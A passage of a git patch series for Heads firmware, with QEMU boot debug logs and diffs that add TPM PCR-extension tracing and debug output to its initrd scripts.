4-0:1.0: USB hub found [ 13.791110] hub 4-0:1.0: 6 ports detected [ 13.800844] hub 1-0:1.0: USB hub found [ 13.807808] hub 1-0:1.0: 2 ports detected [ 13.823094] hub 2-0:1.0: USB hub found [ 13.829910] hub 2-0:1.0: 2 ports detected [ 13.839182] hub 3-0:1.0: USB hub found [ 13.846231] hub 3-0:1.0: 2 ports detected [ 13.946297] TRACE: /sbin/insmod(9): main [ 14.099143] TRACE: /sbin/insmod(53): main [ 14.149765] DEBUG: No module parameters, extending only with the module's content [ 14.291413] DEBUG: TPM: Will extend PCR[5] hash content of file /lib/modules/xhci-hcd.ko [ 14.372815] TRACE: /bin/tpmr(790): main [ 14.426919] DEBUG: TPM: Extending PCR[5] with hash 1fc55e846b9d5c93e58c6c8b6f867e744fa694bc [ 14.482815] DEBUG: exec tpm extend -ix 5 -if /lib/modules/xhci-hcd.ko [ 14.670419] DEBUG: Loading /lib/modules/xhci-hcd.ko with busybox insmod [ 14.783374] TRACE: /sbin/insmod(9): main [ 14.939364] TRACE: /sbin/insmod(53): main [ 14.995136] DEBUG: No module parameters, extending only with the module's content [ 15.135482] DEBUG: TPM: Will extend PCR[5] hash content of file /lib/modules/xhci-pci.ko [ 15.204263] TRACE: /bin/tpmr(790): main [ 15.255478] DEBUG: TPM: Extending PCR[5] with hash bbdd85242570aa438b908420a43b8d7042db8b4f [ 15.305598] DEBUG: exec tpm extend -ix 5 -if /lib/modules/xhci-pci.ko [ 15.480844] DEBUG: Loading /lib/modules/xhci-pci.ko with busybox insmod [ 15.512476] xhci_hcd 0000:00:04.0: xHCI Host Controller [ 15.528230] xhci_hcd 0000:00:04.0: new USB bus registered, assigned bus number 5 [ 15.540456] xhci_hcd 0000:00:04.0: hcc params 0x00087001 hci version 0x100 quirks 0x0000000000000010 [ 15.554225] hub 5-0:1.0: USB hub found [ 15.562061] hub 5-0:1.0: 4 ports detected [ 15.572058] xhci_hcd 0000:00:04.0: xHCI Host Controller [ 15.589966] xhci_hcd 0000:00:04.0: new USB bus registered, assigned bus number 6 [ 15.598116] xhci_hcd 0000:00:04.0: Host supports USB 3.0 SuperSpeed [ 15.606150] usb usb6: We don't know the algorithms for LPM for this host, disabling LPM. [ 15.616354] hub 6-0:1.0: USB hub found [ 15.623767] hub 6-0:1.0: 4 ports detected [ 15.909854] usb 5-1: new high-speed USB device number 2 using xhci_hcd [ 16.193548] usb 6-2: new SuperSpeed Gen 1 USB device number 2 using xhci_hcd [ 16.345381] usb 5-3: new full-speed USB device number 3 using xhci_hcd [ 17.674973] TRACE: /etc/functions(715): detect_boot_device [ 17.718114] TRACE: /etc/functions(682): mount_possible_boot_device [ 17.759829] TRACE: /etc/functions(642): is_gpt_bios_grub [ 17.833271] TRACE: /dev/vda1 is partition 1 of vda [ 17.925490] TRACE: /etc/functions(619): find_lvm_vg_name [ 18.068352] TRACE: Try mounting /dev/vda1 as /boot [ 18.114444] EXT4-fs (vda1): mounted filesystem with ordered data mode. Opts: (null) [ 18.158648] TRACE: /bin/gui-init(319): clean_boot_check [ 18.247883] TRACE: /bin/gui-init(348): check_gpg_key [ 18.338052] TRACE: /bin/gui-init(185): update_totp [ 18.419286] TRACE: /bin/unseal-totp(8): main [ 18.511352] TRACE: /bin/tpmr(614): tpm1_unseal [ 18.624811] DEBUG: Running at_exit handlers [ 18.661992] TRACE: /bin/tpmr(390): cleanup_shred [ 18.692897] !!! ERROR: Unable to unseal TOTP secret !!! [ 21.295284] TRACE: /bin/unseal-totp(8): main [ 21.386377] TRACE: /bin/tpmr(614): tpm1_unseal [ 21.496183] DEBUG: Running at_exit handlers [ 21.527060] TRACE: /bin/tpmr(390): cleanup_shred [ 21.558625] !!! ERROR: Unable to unseal TOTP secret !!! [ 24.162881] TRACE: /bin/unseal-totp(8): main [ 24.249549] TRACE: /bin/tpmr(614): tpm1_unseal [ 24.362331] DEBUG: Running at_exit handlers [ 24.394154] TRACE: /bin/tpmr(390): cleanup_shred [ 24.427400] !!! ERROR: Unable to unseal TOTP secret !!! [ 26.475340] DEBUG: CONFIG_TPM: y [ 26.521538] DEBUG: CONFIG_TPM2_TOOLS: [ 26.578490] DEBUG: Show PCRs [ 26.730805] DEBUG: PCR-00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 26.751488] PCR-01: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 26.778571] PCR-02: C0 A9 54 C8 45 5C 78 49 80 EC 1C DB D8 E8 9B CC 65 11 58 BF [ 26.808771] PCR-03: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 26.830508] PCR-04: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 26.849538] PCR-05: 2C 3A 40 05 70 DB 21 89 4F CD C2 F8 D6 AE 40 DA 56 E1 B6 74 [ 26.878951] PCR-06: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 26.895421] PCR-07: 7A 8A 4C E6 BA B0 AA 26 22 B1 26 A2 F6 36 BD F3 86 23 50 B6 TPM2: [ 5.305235] [U] hello world [ 5.591175] DEBUG: Debug output enabled from board CONFIG_DEBUG_OUTPUT=y option (/etc/config) [ 5.615802] TRACE: Under init [ 5.657823] DEBUG: Applying panic_on_oom setting to sysctl [ 5.831457] TRACE: /bin/tpmr(349): tpm2_startsession [ 6.567984] TRACE: /bin/cbfs-init(5): main [ 6.695758] TRACE: /bin/cbfs-init(24): main [ 6.811665] TRACE: /bin/tpmr(832): main [ 6.870411] DEBUG: TPM: Extending PCR[7] with /.gnupg/pubring.kbx [ 6.907262] TRACE: /bin/tpmr(234): tpm2_extend [ 6.983504] TRACE: /bin/tpmr(247): tpm2_extend [ 7.037543] DEBUG: TPM: Will extend PCR[7] with hash of string /.gnupg/pubring.kbx [ 7.192665] TRACE: /bin/tpmr(265): tpm2_extend [ 7.246318] DEBUG: TPM: Extended PCR[7] with hash 96ab5053e4630a040d55549ba73cff2178d401d763147776771f9774597b86a1 [ 7.355327] TRACE: /bin/tpmr(832): main [ 7.409042] DEBUG: TPM: Extending PCR[7] with /.gnupg/pubring.kbx [ 7.446920] TRACE: /bin/tpmr(234): tpm2_extend [ 7.485782] TRACE: /bin/tpmr(252): tpm2_extend [ 7.540496] DEBUG: TPM: Will extend PCR[7] with hash of file content /.gnupg/pubring.kbx [ 7.759033] TRACE: /bin/tpmr(265): tpm2_extend [ 7.811693] DEBUG: TPM: Extended PCR[7] with hash f196f9cae98362568d31638e7522eee5042286b2c18627b06b30a0275207872e [ 7.903033] TRACE: /bin/cbfs-init(24): main [ 8.026099] TRACE: /bin/tpmr(832): main [ 8.077074] DEBUG: TPM: Extending PCR[7] with /.gnupg/trustdb.gpg [ 8.108061] TRACE: /bin/tpmr(234): tpm2_extend [ 8.180580] TRACE: /bin/tpmr(247): tpm2_extend [ 8.234748] DEBUG: TPM: Will extend PCR[7] with hash of string /.gnupg/trustdb.gpg [ 8.412522] TRACE: /bin/tpmr(265): tpm2_extend [ 8.469868] DEBUG: TPM: Extended PCR[7] with hash 53b843fe9bb52894d3a7d00197c776d56f3059f6a285124c7916724cd5013b0b [ 8.596316] TRACE: /bin/tpmr(832): main [ 8.655651] DEBUG: TPM: Extending PCR[7] with /.gnupg/trustdb.gpg [ 8.690508] TRACE: /bin/tpmr(234): tpm2_extend [ 8.723206] TRACE: /bin/tpmr(252): tpm2_extend [ 8.782554] DEBUG: TPM: Will extend PCR[7] with hash of file content /.gnupg/trustdb.gpg [ 8.999969] TRACE: /bin/tpmr(265): tpm2_extend [ 9.066744] DEBUG: TPM: Extended PCR[7] with hash abf745ef9f960af5d8b19a1acd4bc0a19da056f607b06cce6b920eab83cbbdec [ 9.215143] TRACE: /bin/key-init(6): main [ 10.661503] TRACE: Under /etc/ash_functions:combine_configs [ 10.749050] TRACE: Under /etc/ash_functions:pause_recovery !!! Hit enter to proceed to recovery shell !!! [ 10.998267] TRACE: /bin/setconsolefont.sh(6): main [ 11.059640] DEBUG: Board does not ship setfont, not checking console font [ 11.303012] TRACE: /bin/gui-init(641): main [ 11.334099] TRACE: Under /etc/ash_functions:enable_usb [ 11.421487] TRACE: /sbin/insmod(9): main [ 11.578754] TRACE: /sbin/insmod(53): main [ 11.630500] DEBUG: No module parameters, extending only with the module's content [ 11.741780] TRACE: /bin/tpmr(832): main [ 11.789365] DEBUG: TPM: Extending PCR[5] with /lib/modules/ehci-hcd.ko [ 11.823496] TRACE: /bin/tpmr(234): tpm2_extend [ 11.862739] TRACE: /bin/tpmr(252): tpm2_extend [ 11.920404] DEBUG: TPM: Will extend PCR[5] with hash of file content /lib/modules/ehci-hcd.ko [ 12.123507] TRACE: /bin/tpmr(265): tpm2_extend [ 12.175292] DEBUG: TPM: Extended PCR[5] with hash 40c5206f06702e45d8e6632632255258af433be0641c96f514ea75ac14523a30 [ 12.234130] DEBUG: Loading /lib/modules/ehci-hcd.ko with busybox insmod [ 12.278479] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver [ 12.371875] TRACE: /sbin/insmod(9): main [ 12.523874] TRACE: /sbin/insmod(53): main [ 12.578418] DEBUG: No module parameters, extending only with the module's content [ 12.697785] TRACE: /bin/tpmr(832): main [ 12.753607] DEBUG: TPM: Extending PCR[5] with /lib/modules/uhci-hcd.ko [ 12.786940] TRACE: /bin/tpmr(234): tpm2_extend [ 12.819199] TRACE: /bin/tpmr(252): tpm2_extend [ 12.879805] DEBUG: TPM: Will extend PCR[5] with hash of file content /lib/modules/uhci-hcd.ko [ 13.088925] TRACE: /bin/tpmr(265): tpm2_extend [ 13.158660] DEBUG: TPM: Extended PCR[5] with hash 1877332107fb8737a5636da26d4db2c10ffe4d1db2bcbde30b47774cdf05e02f [ 13.223888] DEBUG: Loading /lib/modules/uhci-hcd.ko with busybox insmod [ 13.253700] uhci_hcd: USB Universal Host Controller Interface driver [ 13.269580] uhci_hcd 0000:00:1d.0: UHCI Host Controller [ 13.278675] uhci_hcd 0000:00:1d.0: new USB bus registered, assigned bus number 1 [ 13.287280] uhci_hcd 0000:00:1d.0: detected 2 ports [ 13.296481] uhci_hcd 0000:00:1d.0: irq 16, io base 0x0000ff00 [ 13.314557] hub 1-0:1.0: USB hub found [ 13.332614] hub 1-0:1.0: 2 ports detected [ 13.352400] uhci_hcd 0000:00:1d.1: UHCI Host Controller [ 13.361016] uhci_hcd 0000:00:1d.1: new USB bus registered, assigned bus number 2 [ 13.368653] uhci_hcd 0000:00:1d.1: detected 2 ports [ 13.376700] uhci_hcd 0000:00:1d.1: irq 17, io base 0x0000fee0 [ 13.395046] hub 2-0:1.0: USB hub found [ 13.403107] hub 2-0:1.0: 2 ports detected [ 13.418573] uhci_hcd 0000:00:1d.2: UHCI Host Controller [ 13.426975] uhci_hcd 0000:00:1d.2: new USB bus registered, assigned bus number 3 [ 13.434733] uhci_hcd 0000:00:1d.2: detected 2 ports [ 13.442497] uhci_hcd 0000:00:1d.2: irq 18, io base 0x0000fec0 [ 13.460237] hub 3-0:1.0: USB hub found [ 13.467466] hub 3-0:1.0: 2 ports detected [ 13.579102] TRACE: /sbin/insmod(9): main [ 13.730892] TRACE: /sbin/insmod(53): main [ 13.781345] DEBUG: No module parameters, extending only with the module's content [ 13.891152] TRACE: /bin/tpmr(832): main [ 13.954015] DEBUG: TPM: Extending PCR[5] with /lib/modules/ohci-hcd.ko [ 13.995207] TRACE: /bin/tpmr(234): tpm2_extend [ 14.031074] TRACE: /bin/tpmr(252): tpm2_extend [ 14.095694] DEBUG: TPM: Will extend PCR[5] with hash of file content /lib/modules/ohci-hcd.ko [ 14.315253] TRACE: /bin/tpmr(265): tpm2_extend [ 14.369608] DEBUG: TPM: Extended PCR[5] with hash 8a12ce4abfc87f11a023d4f1c26c225f5cffae248f9dad1fd30e78022996df02 [ 14.425800] DEBUG: Loading /lib/modules/ohci-hcd.ko with busybox insmod [ 14.455207] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver [ 14.548050] TRACE: /sbin/insmod(9): main [ 14.693175] TRACE: /sbin/insmod(53): main [ 14.742761] DEBUG: No module parameters, extending only with the module's content [ 14.855233] TRACE: /bin/tpmr(832): main [ 14.908035] DEBUG: TPM: Extending PCR[5] with /lib/modules/ohci-pci.ko [ 14.940321] TRACE: /bin/tpmr(234): tpm2_extend [ 14.970307] TRACE: /bin/tpmr(252): tpm2_extend [ 15.018421] DEBUG: TPM: Will extend PCR[5] with hash of file content /lib/modules/ohci-pci.ko [ 15.226408] TRACE: /bin/tpmr(265): tpm2_extend [ 15.279951] DEBUG: TPM: Extended PCR[5] with hash 2065ee6544d78a5d31e67983166a9b8cf60dbe61bf0ee99c39e92816cc3a98db [ 15.335930] DEBUG: Loading /lib/modules/ohci-pci.ko with busybox insmod [ 15.360537] ohci-pci: OHCI PCI platform driver [ 15.446600] TRACE: /sbin/insmod(9): main [ 15.597149] TRACE: /sbin/insmod(53): main [ 15.649850] DEBUG: No module parameters, extending only with the module's content [ 15.753738] TRACE: /bin/tpmr(832): main [ 15.809086] DEBUG: TPM: Extending PCR[5] with /lib/modules/ehci-pci.ko [ 15.847559] TRACE: /bin/tpmr(234): tpm2_extend [ 15.878030] TRACE: /bin/tpmr(252): tpm2_extend [ 15.930320] DEBUG: TPM: Will extend PCR[5] with hash of file content /lib/modules/ehci-pci.ko [ 16.131948] TRACE: /bin/tpmr(265): tpm2_extend [ 16.190395] DEBUG: TPM: Extended PCR[5] with hash 116145df2c495dfd58354025799fe5bb9b4d8e078960e8d0d7ceda746e4f2d06 [ 16.247675] DEBUG: Loading /lib/modules/ehci-pci.ko with busybox insmod [ 16.275465] ehci-pci: EHCI PCI platform driver [ 16.296704] ehci-pci 0000:00:1d.7: EHCI Host Controller [ 16.306151] ehci-pci 0000:00:1d.7: new USB bus registered, assigned bus number 4 [ 16.316293] ehci-pci 0000:00:1d.7: irq 19, io mem 0xfcf80000 [ 16.340527] ehci-pci 0000:00:1d.7: USB 2.0 started, EHCI 1.00 [ 16.357688] hub 4-0:1.0: USB hub found [ 16.365707] hub 4-0:1.0: 6 ports detected [ 16.376687] hub 1-0:1.0: USB hub found [ 16.384573] hub 1-0:1.0: 2 ports detected [ 16.393986] hub 2-0:1.0: USB hub found [ 16.401424] hub 2-0:1.0: 2 ports detected [ 16.410387] hub 3-0:1.0: USB hub found [ 16.418087] hub 3-0:1.0: 2 ports detected [ 16.513839] TRACE: /sbin/insmod(9): main [ 16.670778] TRACE: /sbin/insmod(53): main [ 16.721953] DEBUG: No module parameters, extending only with the module's content [ 16.835964] TRACE: /bin/tpmr(832): main [ 16.888003] DEBUG: TPM: Extending PCR[5] with /lib/modules/xhci-hcd.ko [ 16.919798] TRACE: /bin/tpmr(234): tpm2_extend [ 16.957470] TRACE: /bin/tpmr(252): tpm2_extend [ 17.013535] DEBUG: TPM: Will extend PCR[5] with hash of file content /lib/modules/xhci-hcd.ko [ 17.225097] TRACE: /bin/tpmr(265): tpm2_extend [ 17.281099] DEBUG: TPM: Extended PCR[5] with hash 7f5a6bd0f7de6104e49374e1e5ce421e11795fcc4f53014ef9259d630d7876bc [ 17.337551] DEBUG: Loading /lib/modules/xhci-hcd.ko with busybox insmod [ 17.448660] TRACE: /sbin/insmod(9): main [ 17.595458] TRACE: /sbin/insmod(53): main [ 17.653305] DEBUG: No module parameters, extending only with the module's content [ 17.763612] TRACE: /bin/tpmr(832): main [ 17.817350] DEBUG: TPM: Extending PCR[5] with /lib/modules/xhci-pci.ko [ 17.849196] TRACE: /bin/tpmr(234): tpm2_extend [ 17.879069] TRACE: /bin/tpmr(252): tpm2_extend [ 17.927859] DEBUG: TPM: Will extend PCR[5] with hash of file content /lib/modules/xhci-pci.ko [ 18.126778] TRACE: /bin/tpmr(265): tpm2_extend [ 18.188056] DEBUG: TPM: Extended PCR[5] with hash 5502fa8c101f7e509145b9826094f06dd0e225c2311a14edc9ae9c812518a250 [ 18.247945] DEBUG: Loading /lib/modules/xhci-pci.ko with busybox insmod [ 18.286509] xhci_hcd 0000:00:04.0: xHCI Host Controller [ 18.294553] xhci_hcd 0000:00:04.0: new USB bus registered, assigned bus number 5 [ 18.308276] xhci_hcd 0000:00:04.0: hcc params 0x00087001 hci version 0x100 quirks 0x0000000000000010 [ 18.320288] hub 5-0:1.0: USB hub found [ 18.328425] hub 5-0:1.0: 4 ports detected [ 18.337635] xhci_hcd 0000:00:04.0: xHCI Host Controller [ 18.344430] xhci_hcd 0000:00:04.0: new USB bus registered, assigned bus number 6 [ 18.351769] xhci_hcd 0000:00:04.0: Host supports USB 3.0 SuperSpeed [ 18.360900] usb usb6: We don't know the algorithms for LPM for this host, disabling LPM. [ 18.371095] hub 6-0:1.0: USB hub found [ 18.378046] hub 6-0:1.0: 4 ports detected [ 18.673695] usb 5-1: new high-speed USB device number 2 using xhci_hcd [ 18.960744] usb 6-2: new SuperSpeed Gen 1 USB device number 2 using xhci_hcd [ 19.112485] usb 5-3: new full-speed USB device number 3 using xhci_hcd [ 20.433294] TRACE: /etc/functions(715): detect_boot_device [ 20.489580] TRACE: /etc/functions(682): mount_possible_boot_device [ 20.546126] TRACE: /etc/functions(642): is_gpt_bios_grub [ 20.653417] TRACE: /dev/vda1 is partition 1 of vda [ 20.777737] TRACE: /etc/functions(619): find_lvm_vg_name [ 20.946450] TRACE: Try mounting /dev/vda1 as /boot [ 20.997145] EXT4-fs (vda1): mounted filesystem with ordered data mode. Opts: (null) [ 21.053058] TRACE: /bin/gui-init(319): clean_boot_check [ 21.157752] TRACE: /bin/gui-init(348): check_gpg_key [ 21.260339] TRACE: /bin/gui-init(185): update_totp [ 21.376906] TRACE: /bin/unseal-totp(8): main [ 21.497372] TRACE: /bin/tpmr(569): tpm2_unseal [ 21.574501] DEBUG: tpm2_unseal: handle=0x81004d47 pcrl=0,1,2,3,4,7 file=/tmp/secret/totp.key pass= [ 22.212056] DEBUG: Running at_exit handlers [ 22.247818] TRACE: /bin/tpmr(374): cleanup_session [ 22.301292] DEBUG: Clean up session: /tmp/secret/unsealfile_policy.session [ 22.423005] !!! ERROR: Unable to unseal TOTP secret !!! [ 25.058227] TRACE: /bin/unseal-totp(8): main [ 25.205031] TRACE: /bin/tpmr(569): tpm2_unseal [ 25.284388] DEBUG: tpm2_unseal: handle=0x81004d47 pcrl=0,1,2,3,4,7 file=/tmp/secret/totp.key pass= [ 25.914243] DEBUG: Running at_exit handlers [ 25.947988] TRACE: /bin/tpmr(374): cleanup_session [ 26.001694] DEBUG: Clean up session: /tmp/secret/unsealfile_policy.session [ 26.126464] !!! ERROR: Unable to unseal TOTP secret !!! [ 28.766165] TRACE: /bin/unseal-totp(8): main [ 28.898452] TRACE: /bin/tpmr(569): tpm2_unseal [ 28.982708] DEBUG: tpm2_unseal: handle=0x81004d47 pcrl=0,1,2,3,4,7 file=/tmp/secret/totp.key pass= [ 29.609216] DEBUG: Running at_exit handlers [ 29.643372] TRACE: /bin/tpmr(374): cleanup_session [ 29.696741] DEBUG: Clean up session: /tmp/secret/unsealfile_policy.session [ 29.822748] !!! ERROR: Unable to unseal TOTP secret !!! [ 31.890980] DEBUG: CONFIG_TPM: y [ 31.945147] DEBUG: CONFIG_TPM2_TOOLS: y [ 31.999643] DEBUG: Show PCRs [ 32.157607] DEBUG: sha256: [ 32.190288] 0 : 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.221302] 1 : 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.251240] 2 : 0x9FC171D45D54BDD49D40E8438BCF15808427BA72B11EC2DF1ACE877CA0CF4F14 [ 32.282127] 3 : 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.315382] 4 : 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.345767] 5 : 0xD76470232B7C3FD7D18D4DF3B77DACAFFDB876DBF3E84C996D74F7ECFA0FF60F [ 32.379099] 6 : 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.409630] 7 : 0x2E3147A8ADA1FEBEB2D32D7F50F25DC10F47D7CD48DF1D61A2D6BF958114A231 [ 32.439780] 8 : 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.508514] 9 : 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.537395] 10: 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.583510] 11: 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.622661] 12: 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.651831] 13: 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.687298] 14: 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.721766] 15: 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.751345] 16: 0x0000000000000000000000000000000000000000000000000000000000000000 [ 32.782919] 17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF [ 32.813071] 18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF [ 32.841994] 19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF [ 32.869358] 20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF [ 32.907215] 21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF [ 32.937346] 22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF [ 32.967810] 23: 0x0000000000000000000000000000000000000000000000000000000000000000 Signed-off-by: Thierry Laurion --- .../qemu-coreboot-whiptail-tpm2.config | 6 ++--- initrd/bin/cbfs-init | 3 ++- initrd/bin/kexec-insert-key | 1 + initrd/bin/kexec-select-boot | 1 + initrd/bin/qubes-measure-luks | 1 + initrd/bin/tpmr | 24 +++++++++++++++++-- initrd/etc/ash_functions | 1 + initrd/sbin/insmod | 15 +++++++++--- 8 files changed, 43 insertions(+), 9 deletions(-) diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index cdcd3946c..2b46cf46a 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -17,10 +17,10 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #export CONFIG_HAVE_GPG_KEY_BACKUP=y #Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp -export CONFIG_TPM2_CAPTURE_PCAP=y +#export CONFIG_TPM2_CAPTURE_PCAP=y #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y diff --git a/initrd/bin/cbfs-init b/initrd/bin/cbfs-init index 4035025c6..c54991f41 100755 --- a/initrd/bin/cbfs-init +++ b/initrd/bin/cbfs-init @@ -21,7 +21,8 @@ for cbfsname in `echo $cbfsfiles`; do cbfs -t 50 $CBFS_ARG -r $cbfsname > "$filename" \ || die "$filename: cbfs file read failed" if [ "$CONFIG_TPM" = "y" ]; then - echo "TPM: Extending PCR[$CONFIG_PCR with] with $filename" + TRACE_FUNC + echo "TPM: Extending PCR[$CONFIG_PCR] with $filename" # Measure both the filename and its content. This # ensures that renaming files or pivoting file content # will still affect the resulting PCR measurement. diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index 84bff4558..0028e348e 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -65,6 +65,7 @@ if ! kexec-unseal-key "$INITRD_DIR/secret.key"; then fi # Override PCR 4 so that user can't read the key +TRACE_FUNC echo "TPM: Extending PCR[4] to prevent any future secret unsealing" tpmr extend -ix 4 -ic generic || die 'Unable to scramble PCR' diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index f56c6e768..b3b55c302 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -384,6 +384,7 @@ while true; do if [ "$CONFIG_TPM" = "y" ]; then if [ ! -r "$TMP_KEY_DEVICES" ]; then # Extend PCR4 as soon as possible + TRACE_FUNC DEBUG "TPM: Extending PCR[4] to prevent further secret unsealing" tpmr extend -ix 4 -ic generic || die "Failed to extend TPM PCR[4]" diff --git a/initrd/bin/qubes-measure-luks b/initrd/bin/qubes-measure-luks index 03db5915d..bef6fb102 100755 --- a/initrd/bin/qubes-measure-luks +++ b/initrd/bin/qubes-measure-luks @@ -19,6 +19,7 @@ sha256sum /tmp/lukshdr-* >/tmp/luksDump.txt || die "Unable to hash LUKS headers" DEBUG "Removing /tmp/lukshdr-*" rm /tmp/lukshdr-* +TRACE_FUNC echo "TPM: Extending PCR[6] with hash of LUKS headers from /tmp/luksDump.txt" tpmr extend -ix 6 -if /tmp/luksDump.txt || die "Unable to extend PCR" diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index fb10f0c7a..78b71ea1f 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -235,14 +235,20 @@ tpm2_extend() { while true; do case "$1" in -ix) + # store index and shift so -ic and -if can be processed index="$2" shift 2 ;; -ic) + string=$(echo -n "$2") hash="$(echo -n "$2" | sha256sum | cut -d' ' -f1)" + TRACE_FUNC + DEBUG "TPM: Will extend PCR[$index] with hash of string $string" shift 2 ;; -if) + TRACE_FUNC + DEBUG "TPM: Will extend PCR[$index] with hash of file content $2" hash="$(sha256sum "$2" | cut -d' ' -f1)" shift 2 ;; @@ -253,7 +259,9 @@ tpm2_extend() { done tpm2 pcrextend "$index:sha256=$hash" tpm2 pcrread "sha256:$index" - DEBUG "TPM: Extended PCR[$index] with $hash" + + TRACE_FUNC + DEBUG "TPM: Extended PCR[$index] with hash $hash" } tpm2_counter_read() { @@ -767,7 +775,18 @@ if [ "$CONFIG_TPM2_TOOLS" != "y" ]; then tpm1_destroy "$@" ;; extend) - DEBUG "TPM: Extending PCR[$3] with $5" + #check if we extend with a hash or a file + if [ "$4" = "-if" ]; then + DEBUG "TPM: Will extend PCR[$3] hash content of file $5" + hash="$(sha1sum "$5" | cut -d' ' -f1)" + elif [ "$4" = "-ic" ]; then + string=$(echo -n "$5") + DEBUG "TPM: Will extend PCR[$3] with hash of filename $string" + hash="$(echo -n "$5" | sha1sum | cut -d' ' -f1)" + fi + + TRACE_FUNC + DEBUG "TPM: Extending PCR[$3] with hash $hash" DO_WITH_DEBUG exec tpm "$@" ;; seal) @@ -808,6 +827,7 @@ calcfuturepcr) replay_pcr "sha256" "$@" ;; extend) + TRACE_FUNC DEBUG "TPM: Extending PCR[$2] with $4" tpm2_extend "$@" ;; diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index bf6c6307a..f8b9f79ea 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -241,6 +241,7 @@ recovery() { DEBUG "Board $CONFIG_BOARD - version $(fw_version)" if [ "$CONFIG_TPM" = "y" ]; then + TRACE_FUNC echo "TPM: Extending PCR[4] to prevent any further secret unsealing" tpmr extend -ix 4 -ic recovery fi diff --git a/initrd/sbin/insmod b/initrd/sbin/insmod index da654257e..359bf68f6 100755 --- a/initrd/sbin/insmod +++ b/initrd/sbin/insmod @@ -43,9 +43,18 @@ if [ -z "$tpm_missing" ]; then # Extend with the module parameters (even if they are empty) and the # module. Changing the parameters or the module content will result in a # different PCR measurement. - tpmr extend -ix "$MODULE_PCR" -ic "$*" - tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ - || die "$MODULE: tpm extend failed" + if [ -n "$*" ]; then + TRACE_FUNC + DEBUG "Extending with module parameters and the module's content" + tpmr extend -ix "$MODULE_PCR" -ic "$*" + tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ + || die "$MODULE: tpm extend failed" + else + TRACE_FUNC + DEBUG "No module parameters, extending only with the module's content" + tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ + || die "$MODULE: tpm extend failed" + fi fi # Since we have replaced the real insmod, we must invoke From 501419b2b7f94ca5b3f48a486de14439c2f27333 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 7 Sep 2024 15:53:14 -0400 Subject: [PATCH 238/619] qemu-coreboot-whiptail-tpm2 board: reenable DEBUG + TRACING Signed-off-by: Thierry Laurion --- .../qemu-coreboot-whiptail-tpm2.config | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 2b46cf46a..cdcd3946c 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -17,10 +17,10 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #export CONFIG_HAVE_GPG_KEY_BACKUP=y #Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +export CONFIG_DEBUG_OUTPUT=y +export 